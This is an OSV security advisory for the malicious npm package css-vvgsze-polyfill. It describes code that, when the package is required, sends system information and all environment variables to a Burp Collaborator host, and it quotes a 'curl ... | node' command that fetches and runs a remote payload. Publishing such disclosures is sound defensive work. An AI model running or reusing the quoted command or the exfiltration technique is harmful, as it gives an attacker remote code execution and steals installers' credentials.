MAL-2026-17577

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-vvgsze-polyfill/MAL-2026-17577.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17577
Published
2026-10-05T16:13:54Z
Modified
2026-10-05T16:31:38Z
Summary
Malicious code in css-vvgsze-polyfill (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59)

thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs id, whoami, env, and ifconfig/ip addr, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The env dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs curl -L https://appsecc.com/js | node, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (thunderboltRegistry, siteAssetsRegistry, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-021074",
            "import_time":  "2026-10-05T16:22:56.696953563Z",
            "modified_time":  "2026-10-05T16:13:54Z",
            "sha256":  "242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / css-vvgsze-polyfill

Package

Name
css-vvgsze-polyfill
View open source insights on deps.dev
Purl
pkg:npm/css-vvgsze-polyfill

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "thunderboltRegistry.js",
            "sha256":  "921e1a7ab2086abcdee715f83769b1e446fb5f18954add3cee922bfc1cb92276",
            "tlsh":  "207132b5b99df02166c33438db7f5049b4bbc6672c6caee0740899b01f7985c01ba6f4"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "css-vvgsze-polyfill-1.0.0.tgz",
            "hashes":  {
                "sha1":  "38f035fc04ad37ea00a9cfba806d660386db5978",
                "sha512_sri":  "sha512-baBGD8aAmd+OV5gG97nzUgv8UOkmPmox7bdRV1kAjPAUhUziaHkUnXsFlfmbbTnmg1J9IDZgUyuyUwtlzkBV5w=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-vvgsze-polyfill/MAL-2026-17577.json"